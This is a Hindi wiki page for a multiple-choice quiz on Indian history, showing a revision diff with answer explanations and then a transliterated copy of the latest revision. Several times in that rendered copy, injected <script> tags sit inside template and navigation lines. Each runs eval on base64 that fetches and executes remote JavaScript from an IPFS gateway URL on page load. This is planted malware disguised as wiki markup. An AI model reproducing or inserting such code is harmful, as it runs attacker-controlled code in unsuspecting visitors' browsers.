Difference between revisions of "इतिहास सामान्य ज्ञान 49"

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-नर बलि उन्मूलन
 
-नर बलि उन्मूलन
 
-ठगी उन्मूलन
 
-ठगी उन्मूलन
+[[विधवा विवाह|विधवा पुर्नविवाह]]
+
+[[विधवा विवाह]]
||[[चित्र:William-Bentinck.jpg|right|100px|लॉर्ड विलियम बैंटिक]][[भारत]] में विलियम बैंटिक के सामाजिक सुधार कुछ कम महत्त्व के नहीं थे। 1829 ई. में उसने '[[सती प्रथा]]' को समाप्त कर दिया। कर्नल स्लीमन के सहयोग से उसने ठगी का उन्मूलन किया। उस समय ठगों का देशव्यापी गुप्त संगठन था, वे देश भर में घूमा करते थे और भोले-भाले यात्रियों की रुमाल से गला घोंटकर हत्या कर दिया करते थे और उनका सारा माल लूट लेते थे। 1832 ई. में धर्म-परिवर्तन से होने वाली सभी अयोग्यताओं को [[लॉर्ड विलियम बैंटिक]] ने समाप्त कर दिया। 1833 ई. में [[ईस्ट इंडिया कंपनी|कम्पनी]] के अधिकार पत्र को अगले बीस वर्षों के लिए नवीन कर दिया। इससे कम्पनी [[चीन]] के व्यवसाय पर एकाधिकार से वंचित हो गई। अब वह मात्र प्रशासकीय संस्था ही रह गई थी।{{point}}अधिक जानकारी के लिए देखें:-[[लॉर्ड विलियम बैंटिक]]
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||[[चित्र:William-Bentinck.jpg|right|100px|लॉर्ड विलियम बैंटिक]][[भारत]] में विलियम बैंटिक के सामाजिक सुधार कुछ कम महत्त्व के नहीं थे। 1829 ई. में उसने '[[सती प्रथा]]' को समाप्त कर दिया। कर्नल स्लीमन के सहयोग से उसने ठगी का उन्मूलन किया। उस समय ठगों का देशव्यापी गुप्त संगठन था, वे देश भर में घूमा करते थे और भोले-भाले यात्रियों की रुमाल से गला घोंटकर हत्या कर दिया करते थे और उनका सारा माल लूट लेते थे। 1832 ई. में धर्म-परिवर्तन से होने वाली सभी अयोग्यताओं को [[लॉर्ड विलियम बैंटिक]] ने समाप्त कर दिया। 1833 ई. में [[ईस्ट इंडिया कंपनी|कम्पनी]] के अधिकार पत्र को अगले बीस वर्षों के लिए नवीन कर दिया। इससे कम्पनी [[चीन]] के व्यवसाय पर एकाधिकार से वंचित हो गई। अब वह मात्र प्रशासकीय संस्था ही रह गई थी। अधिक जानकारी के लिए देखें :- [[लॉर्ड विलियम बैंटिक]]
  
 
{[[1909]] के अधिनियम में क्या पहली बार प्रस्तावित किया गया था?
 
{[[1909]] के अधिनियम में क्या पहली बार प्रस्तावित किया गया था?
 
|type="()"}
 
|type="()"}
+पृथक मतदान
+
+पृथक् मतदान
 
-[[द्वैधशासन पद्धति|द्वैध शासन]]
 
-[[द्वैधशासन पद्धति|द्वैध शासन]]
 
-विधायिका सभाएँ
 
-विधायिका सभाएँ
 
-विकेन्द्रीकरण
 
-विकेन्द्रीकरण
 
{[[अंग्रेज़|अंग्रेज़ों]] ने निम्नलिखित में से अपने व्यापारिक केंद्र किस क्रम में स्थापित किए थे?
 
|type="()"}
 
-सूरत, कलकत्ता, बम्बई, मद्रास
 
+[[सूरत]], [[मद्रास]], [[कलकत्ता]], [[बम्बई]]
 
-मद्रास, कलकत्ता, बम्बई, सूरत
 
-[[कलकत्ता]], [[मद्रास]], [[सूरत]], [[बम्बई]]
 
||[[चित्र:Parle-Point-Surat.jpg|right|100px|परले पॉइंट, सूरत]]सूरत [[भारत]] के प्रसिद्ध नगरों में से एक है। यह दक्षिण-पूर्वी [[गुजरात]] राज्य, [[पश्चिम भारत]] में स्थित है। यह [[खंभात की खाड़ी]] पर [[ताप्ती नदी]] के मुहाने पर स्थित है। [[पुर्तग़ाली|पुर्तग़ालियों]] द्वारा 1512 एवं 1530 ई. में सूरत को जला दिए जाने के बाद भी यह एक बड़ा विक्रय केंद्र बनकर उभरा, जहाँ से कपड़े और [[सोना|सोने]] का निर्यात होता था। वस्त्रोद्योग और जहाज़ निर्माण यहाँ के मुख्य उद्योग थे। [[अंग्रेज़|अंग्रेज़ों]] ने 1612 में पहली बार अपनी व्यापारिक चौकी यहीं पर स्थापित की थी। यहाँ के सूती, रेशमी, '[[किमख़ाब]]' (जरीदार कपड़ा) के वस्त्र तथा सोने व [[चाँदी]] की वस्तुएँ बहुत प्रसिद्ध हैं।{{point}}अधिक जानकारी के लिए देखें:-[[सूरत]], [[मद्रास]], [[कलकत्ता]], [[बम्बई]]
 
 
{निम्नलिखित में से कौन औपनिवेशिक इतिहासकार नहीं है?
 
|type="()"}
 
-जूडिथ ब्राउन
 
-ए. एल. बाराम
 
+अनिल सील
 
-वी. ए. स्मिथ
 
 
{[[कृषि]] में हल से जुताई के प्रमाण किस स्थल से प्राप्त हुए हैं?
 
|type="()"}
 
-[[लोथल]]
 
-बनवाली
 
+[[कालीबंगा]]
 
-[[धौलावीरा]]
 
||[[चित्र:Kalibanga.jpg|right|100px|कालीबंगा के अवशेष]]कालीबंगा [[राजस्थान]] के [[हनुमानगढ़ ज़िला|हनुमानगढ़ ज़िले]] में [[घग्घर नदी]] के बाएं तट पर स्थित है। यहाँ पर प्राक् हड़प्पा एवं [[हड़प्पा संस्कृति|हड़प्पाकालीन संस्कृति]] के [[अवशेष]] मिले हैं। इस [[सिन्धु सभ्यता|सिन्धु-पूर्व सभ्यता]] में सामान्यत: मकान में एक आँगन होता था और उसके किनारे पर कुछ कमरे बने होते थे। आँगन में खाना पकाने का साक्ष्य भी प्राप्त हुआ है, क्योंकि यहाँ भूमि के ऊपर और नीचे दोनों प्रकार के तन्दूर मिले हैं। हल के प्रयोग का साक्ष्य भी मिला है, क्योंकि इस स्तर पर हराई के निशान पाये गये हैं। हल चलाने के ढंग से संकेत मिलता है कि एक ओर के खाँचे पूर्व-पश्चिम की दिशा में बनाये जाते थे और दूसरी ओर के उत्तर-दक्षिण दिशा में।{{point}}अधिक जानकारी के लिए देखें:-[[कालीबंगा]]
 
 
{तुर्की में धर्मतानिक राज्य को मुस्तफ़ा कमाल पाशा ने किस [[वर्ष]] में समाप्त किया था?
 
|type="()"}
 
+[[1927]] ई.
 
-[[1930]] ई.
 
-[[1925]] ई.
 
-[[1937]] ई.
 
 
{निम्न में से कौन-सा सूबा [[मुग़ल]] [[जहाँगीर|बादशाह जहाँगीर]] के काल में बना था?
 
|type="()"}
 
-[[उड़ीसा]]
 
-[[कश्मीर]]
 
+[[सिन्ध]]
 
-[[बीजापुर]]
 
||[[चित्र:Jahangir.jpg|right|100px|जहाँगीर]]'सिंध प्रांत' [[पाकिस्तान]] के चार प्रान्तों में से एक है। यह सिन्धियों का मूल स्थान है। 'सिंध' [[संस्कृत]] के शब्द 'सिंधु' से बना है, जिसका अर्थ है- 'समुद्र'। अरबों के [[सिंध प्रांत|सिंध]] पर आक्रमण के समय वहाँ [[दाहिर]] नामक [[ब्राह्मण]] नरेश का राज्य था। यह आक्रमणकारियों से बहुत ही वीरता के साथ लड़ता हुआ मारा गया था। दाहिर की वीरांगना पुत्रियों ने बाद में अरब सेनापति [[मुहम्मद बिन क़ासिम]] से अपने [[पिता]] की मृत्यु का बदला लिया और स्वयं आत्महत्या कर ली। कालांतर में [[मुग़ल]] [[जहाँगीर|बादशाह जहाँगीर]] ने इसे अपने साम्राज्य का एक सूबा बना लिया।{{point}}अधिक जानकारी के लिए देखें:-[[सिन्ध]]
 
  
 
{[[शिवाजी]] द्वारा प्राप्त किये गए किस क़िले पर उन्होंने [[रायगढ़ महाराष्ट्र|रायगढ़]] का क़िला बनवाया, जो भविष्य में उनकी राजधानी बना?
 
{[[शिवाजी]] द्वारा प्राप्त किये गए किस क़िले पर उन्होंने [[रायगढ़ महाराष्ट्र|रायगढ़]] का क़िला बनवाया, जो भविष्य में उनकी राजधानी बना?
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-[[विजयदुर्ग]]
 
-[[विजयदुर्ग]]
 
-[[पुरन्दर क़िला|पुरन्दर]]
 
-[[पुरन्दर क़िला|पुरन्दर]]
||[[चित्र:Toran-Fort.jpg|right|100px|तोरण दुर्ग का द्वार]]तोरण दुर्ग [[महाराष्ट्र]] में [[छत्रपति शिवाजी]] के [[पिता]] [[शाहजी भोंसले]] की जागीर के दक्षिणी सीमांत प्रांत पर स्थित था। यह दुर्ग [[पूना]] के दक्षिण-पश्चिम में 30 किलोमीटर की दूरी पर था। इस प्रसिद्ध दुर्ग को महाराष्ट्र केसरी शिवाजी ने [[बीजापुर]] के सुल्तान से 1646 ई. में छीन लिया था।{{point}}अधिक जानकारी के लिए देखें:-[[तोरण दुर्ग]]
+
||[[चित्र:Toran-Fort.jpg|right|100px|तोरण दुर्ग का द्वार]] तोरण दुर्ग [[महाराष्ट्र]] में [[शिवाजी]] के [[पिता]] [[शाहजी भोंसले]] की जागीर के दक्षिणी सीमांत प्रांत पर स्थित था। यह दुर्ग [[पूना]] के दक्षिण-पश्चिम में 30 किलोमीटर की दूरी पर था। इस प्रसिद्ध दुर्ग को महाराष्ट्र केसरी शिवाजी ने [[बीजापुर]] के सुल्तान से 1646 ई. में छीन लिया था। अधिक जानकारी के लिए देखें :- [[तोरण दुर्ग]]
  
 
{निम्न विकल्पों में से कौन-सा एक सही सुमेलित है?
 
{निम्न विकल्पों में से कौन-सा एक सही सुमेलित है?
 
|type="()"}
 
|type="()"}
-कछवाहा - [[बूंदी]]
+
-[[कछवाहा वंश|कछवाहा]] - [[बूंदी]]
 
-हाड़ा - [[जोधपुर]]
 
-हाड़ा - [[जोधपुर]]
 
-राठौर - [[आमेर]]
 
-राठौर - [[आमेर]]
 
+[[सिसोदिया राजवंश|सिसोदिया]] - [[उदयपुर]]
 
+[[सिसोदिया राजवंश|सिसोदिया]] - [[उदयपुर]]
||सन 556 ई. में जिस 'गुहिल वंश' की स्थापना हुई थी, बाद में वही 'गहलौत वंश' बना और इसके बाद यह '[[सिसोदिया राजवंश]]' के नाम से जाना गया। इस वंश में कई प्रतापी राजा हुए, जिन्होंने इस वंश की मान-मर्यादा और सम्मान को न केवल बढ़ाया, बल्कि [[इतिहास]] के गौरवशाली अध्याय में अपना नाम भी जोड़ा। महाराणा महेन्द्र तक यह वंश कई उतार-चढाव और स्वर्णिम अध्याय रचते हुए आज भी अपने गौरव और श्रेष्ठ परम्परा के लिये पहचाना जाता है।{{point}}अधिक जानकारी के लिए देखें:-[[सिसोदिया राजवंश]]
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||सन 556 ई. में जिस 'गुहिल वंश' की स्थापना हुई थी, बाद में वही 'गहलौत वंश' बना और इसके बाद यह '[[सिसोदिया राजवंश]]' के नाम से जाना गया। इस वंश में कई प्रतापी राजा हुए, जिन्होंने इस वंश की मान-मर्यादा और सम्मान को न केवल बढ़ाया, बल्कि [[इतिहास]] के गौरवशाली अध्याय में अपना नाम भी जोड़ा। महाराणा महेन्द्र तक यह वंश कई उतार-चढाव और स्वर्णिम अध्याय रचते हुए आज भी अपने गौरव और श्रेष्ठ परम्परा के लिये पहचाना जाता है। अधिक जानकारी के लिए देखें :- [[सिसोदिया राजवंश]]
||[[चित्र:City-Palace-Udaipur.jpg|right|120px|सिटी पैलेस, उदयपुर]][[उदयपुर]], दक्षिणी [[राजस्थान]] राज्य, पश्चिमोत्तर [[भारत]] में [[अरावली पर्वतश्रेणी]] पर स्थित है। "पूर्व का वेनिस" और "भारत का दूसरा कश्मीर" माना जाने वाला उदयपुर ख़ूबसूरत वादियों से घिरा हुआ है। [[महाराणा उदयसिंह]] ने सन 1559 ई. में उदयपुर नगर की स्थापना की थी। लगातार [[मुग़ल|मुग़लों]] के आक्रमणों से सुरक्षित स्थान पर राजधानी स्थानान्तरित किये जाने की योजना से इस नगर की स्थापना हुई। उदयपुर के संस्थापक [[बप्पा रावल]] थे, जो कि [[सिसोदिया राजवंश]] के थे। आठवीं शताब्दी में सिसोदिया राजपूतों ने 'उदयपुर' ([[मेवाड़]]) रियासत की स्थापना की थी।{{point}}अधिक जानकारी के लिए देखें:-[[उदयपुर]]
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||[[चित्र:City-Palace-Udaipur.jpg|right|120px|सिटी पैलेस, उदयपुर]][[उदयपुर]], दक्षिणी [[राजस्थान]] राज्य, पश्चिमोत्तर [[भारत]] में [[अरावली पर्वतश्रेणी]] पर स्थित है। "पूर्व का वेनिस" और "भारत का दूसरा कश्मीर" माना जाने वाला उदयपुर ख़ूबसूरत वादियों से घिरा हुआ है। [[महाराणा उदयसिंह]] ने सन 1559 ई. में उदयपुर नगर की स्थापना की थी। लगातार [[मुग़ल|मुग़लों]] के आक्रमणों से सुरक्षित स्थान पर राजधानी स्थानान्तरित किये जाने की योजना से इस नगर की स्थापना हुई। उदयपुर के संस्थापक [[बप्पा रावल]] थे, जो कि [[सिसोदिया राजवंश]] के थे। आठवीं शताब्दी में सिसोदिया राजपूतों ने 'उदयपुर' ([[मेवाड़]]) रियासत की स्थापना की थी। अधिक जानकारी के लिए देखें :- [[उदयपुर]]
  
 
{निम्नलिखित लेखकों में से कौन समकालीन समाज की बुराइयों पर अपने व्यंग्यों के लिए प्रसिद्ध है?
 
{निम्नलिखित लेखकों में से कौन समकालीन समाज की बुराइयों पर अपने व्यंग्यों के लिए प्रसिद्ध है?
 
|type="()"}
 
|type="()"}
 
-बिल्हण
 
-बिल्हण
-क्षेमेन्द्र
+
-[[क्षेमेन्द्र]]
 
+[[राजशेखर]]
 
+[[राजशेखर]]
 
-सोमदेवसूरि
 
-सोमदेवसूरि
||राजशेखर [[कन्नौज]] के [[प्रतिहार साम्राज्य|प्रतिहार वंश]] के राजा [[महेन्द्रपाल]] (890-908) तथा उसके पुत्र [[महिपाल]] (910-940) की राज्य सभा में रहते थे। वे [[संस्कृत]] के प्रसिद्ध [[कवि]] तथा नाटककार थे। [[राजशेखर]] नाटककार कम, लेकिन एक कवि के रूप में अधिक प्रसिद्ध थे। उनके [[ग्रंथ|ग्रंथों]] में काव्यात्मकता अधिक है। उन्होंने अपनी अनेक रचनाओं में लोकोक्तियों तथा मुहावरों का खुलकर प्रयोग किया है।{{point}}अधिक जानकारी के लिए देखें:-[[राजशेखर]]
+
||राजशेखर [[कन्नौज]] के [[प्रतिहार साम्राज्य|प्रतिहार वंश]] के राजा [[महेन्द्रपाल]] (890-908) तथा उसके पुत्र [[महिपाल]] (910-940) की राज्य सभा में रहते थे। वे [[संस्कृत]] के प्रसिद्ध [[कवि]] तथा नाटककार थे। [[राजशेखर]] नाटककार कम, लेकिन एक कवि के रूप में अधिक प्रसिद्ध थे। उनके [[ग्रंथ|ग्रंथों]] में काव्यात्मकता अधिक है। उन्होंने अपनी अनेक रचनाओं में लोकोक्तियों तथा मुहावरों का खुलकर प्रयोग किया है। अधिक जानकारी के लिए देखें :- [[राजशेखर]]
 
 
{[[कुषाण काल]] के लिए निम्नलिखित कथनों में से कौन-सा एक सत्य है?
 
|type="()"}
 
-रजत मुद्राओं का अधिकाधिक प्रचलन
 
+[[गान्धार मूर्तिकला शैली]] का विकसित होना
 
-अमर सिंह का संरक्षण
 
-[[कुषाण साम्राज्य]] का [[बंगाल (आज़ादी से पूर्व)|बंगाल]] तक विस्तार
 
||[[चित्र:Gandhara-Sculpture.jpg|right|120px|गांधार मूर्तिकला]]गांधार [[भारत]] के प्रमुख ऐतिहासिक नगरों में से एक था। यहाँ की स्थापत्य कला की अनेक कलाकृतियाँ भगवान [[बुद्ध]] के जीवन काल से जुड़ी हुई हैं अथवा बुद्ध की अन्य भावभंगिमाओं को लेकर बनायी गयी हैं। बुद्ध की मूर्तियों में अधिकांशत उन्हें हमेशा सन्यासी वस्त्रों में ही दिखायी गया है, जिनके बाल छोटे थे। [[बोधिसत्व]] अथवा बौद्ध सन्यासियों को शरीर के ऊपरी भाग में नि:वस्त्र दिखाया जाता रहा, जो लुंगी और [[आभूषण]] पहने रहते थे। उनके बाल लंबे दिखाये गये हैं। [[एशिया]] की सभी बौद्ध कलाओं में उक्त चीज़ें परिलक्षित होती है। भारतीय संदर्भ में [[गांधार]] की कला-शैली एक अलग रंग लिये हुए है।{{point}}अधिक जानकारी के लिए देखें:-[[गान्धार मूर्तिकला शैली]]
 
 
 
{किस [[हड़प्पा]] स्थल से सूती कपड़े का एक खंड प्राप्त हुआ था?
 
|type="()"}
 
-बनावली
 
-[[पडरी]]
 
-[[लोथल]]
 
+[[मोहनजोदड़ो]]
 
||[[चित्र:Buddhist-Stupa-Mohenjo-Daro.jpg|right|120px|बौद्ध स्तूप, मोहनजोदड़ो]]मोहनजोदड़ो, जिसका अर्थ "मुर्दों का टीला" है, 2600 ई. पू. की एक सुव्यवस्थित नगरीय सभ्यता थी। इस सभ्यता के ध्वंसावशेष [[पाकिस्तान]] के [[सिन्ध प्रांत]] के 'लरकाना ज़िले' में [[सिंधु नदी]] के दाहिने किनारे पर प्राप्त हुए हैं। यह नगर क़रीब 5 कि.मी. के क्षेत्र में फैला हुआ है। यहाँ पर [[कुषाण]] शासकों ने एक [[स्तूप]] का निर्माण करवाया था। [[मोहनजोदड़ो]] से प्राप्त अन्य [[अवशेष|अवशेषों]] में कुम्भकारों के भट्टों के अवशेष, सूती कपड़ा, [[हाथी]] का कपालखण्ड, गले हुए [[तांबा|तांबे]] के ढेर, सीपी की बनी हुई पटरी एवं 'कांसे की नृत्यरत नारी की मूर्ति के अवशेष मिले हैं।{{point}}अधिक जानकारी के लिए देखें:-[[मोहनजोदड़ो]]
 
 
 
{[[मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़ल स्थापत्य]] एक अच्छा मिश्रण था-
 
|type="()"}
 
-तुर्की और फ़ारसी कला का
 
-तुर्की और अफ़ग़ान कला का
 
+फ़ारसी और [[भारतीय कला]] का
 
-तैमूरी और भारतीय कला का
 
||[[चित्र:Fatehpur-Sikri-Agra-13.jpg|right|120px|फ़तेहपुर सीकरी, आगरा]][[सल्तनत काल]] में प्रचलित [[वास्तुकला]] की 'भारतीय इस्लामी शैली' का विकास [[मुग़ल काल]] में हुआ। [[मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़लकालीन वास्तुकला]] में [[फ़ारस]], तुर्की, मध्य [[एशिया]], [[गुजरात]], [[बंगाल]], [[जौनपुर]] आदि स्थानों की शैलियों का अनोखा मिश्रण हुआ था। पर्सी ब्राउन ने 'मुग़ल काल' को 'भारतीय वास्तुकला का ग्रीष्म काल' माना है, जो [[प्रकाश]] और उर्वरा का प्रतीक माना जाता है। स्मिथ ने मुग़लकालीन वास्तुकला को "कला की रानी" कहा है। [[मुग़ल|मुग़लों]] ने भव्य महलों, क़िलों, द्वारों, मस्जिदों, बावलियों आदि का निर्माण किया। उन्होंने बहते पानी तथा फ़व्वारों से सुसज्जित कई बाग़ लगवाये थे।{{point}}अधिक जानकारी के लिए देखें:-[[मुग़लकालीन स्थापत्य एवं वास्तुकला]]
 
 
 
{निम्नलिखित में से किसने 'आर्य महिला सभा' की स्थापना की थी?
 
|type="()"}
 
-[[राजकुमारी अमृत कौर]]
 
-[[दुर्गाबाई देशमुख]]
 
+नेलीसेन गुप्ता
 
-पंडित रमाबाई
 
 
 
{[[मुग़ल]] [[अकबर|बादशाह अकबर]] किस [[वाद्य यंत्र|वाद्य]] को बजाने में पारंगत था?
 
|type="()"}
 
-[[वीणा]]
 
-[[पखावज]]
 
+[[नक्कारा]]
 
-[[सितार]]
 
||[[चित्र:Nagara.jpg|right|100px|नक्कारा]]नक्कारा या नगाड़ा प्राचीन समय से ही [[भारत]] का प्रमुख [[वाद्य यंत्र]] रहा है। इसे लोक उत्सवों के अवसर पर बजाया जाता है। [[होली]] के अवसर पर गाये जाने वाले गीतों में इसका विशेष प्रयोग होता है। नगाड़े में जोड़े अलग-अलग होते हैं, जिसमें एक की आवाज़ पतली तथा दूसरे की आवाज़ मोटी होती है। इसे बजाने के लिए लकड़ी की डंडियों से पीटकर [[ध्वनि]] निकाली जाती है। निचली सतह पर नगाड़ा पकी हुई [[मिट्टी]] का बना होता है। यह भारत का बहुत ही लोकप्रिय वाद्य है।{{point}}अधिक जानकारी के लिए देखें:-[[नक्कारा]]
 
 
</quiz>
 
</quiz>
 
|}
 
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{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
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__INDEX__
 
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{{Review-G}}

Latest revision as of 13:08, 3 June 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 l aaurd viliyam baiantik ne bharatiy samaj mean kee sudhar kary kie the. nimn mean se kaun-sa kary unhoanne nahian kiya?

sati pratha unmoolan
nar bali unmoolan
thagi unmoolan
vidhava vivah

2 1909 ke adhiniyam mean kya pahali bar prastavit kiya gaya tha?

prithakh matadan
dvaidh shasan
vidhayika sabhaean
vikendrikaran

3 shivaji dvara prapt kiye ge kis qile par unhoanne rayagadh ka qila banavaya, jo bhavishy mean unaki rajadhani bana?

toran
janjira
vijayadurg
purandar

4 nimn vikalpoan mean se kaun-sa ek sahi sumelit hai?

kachhavaha - booandi
ha da - jodhapur
rathaur - amer
sisodiya - udayapur

5 nimnalikhit lekhakoan mean se kaun samakalin samaj ki buraiyoan par apane vyangyoan ke lie prasiddh hai?

bilhan
kshemendr
rajashekhar
somadevasoori

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>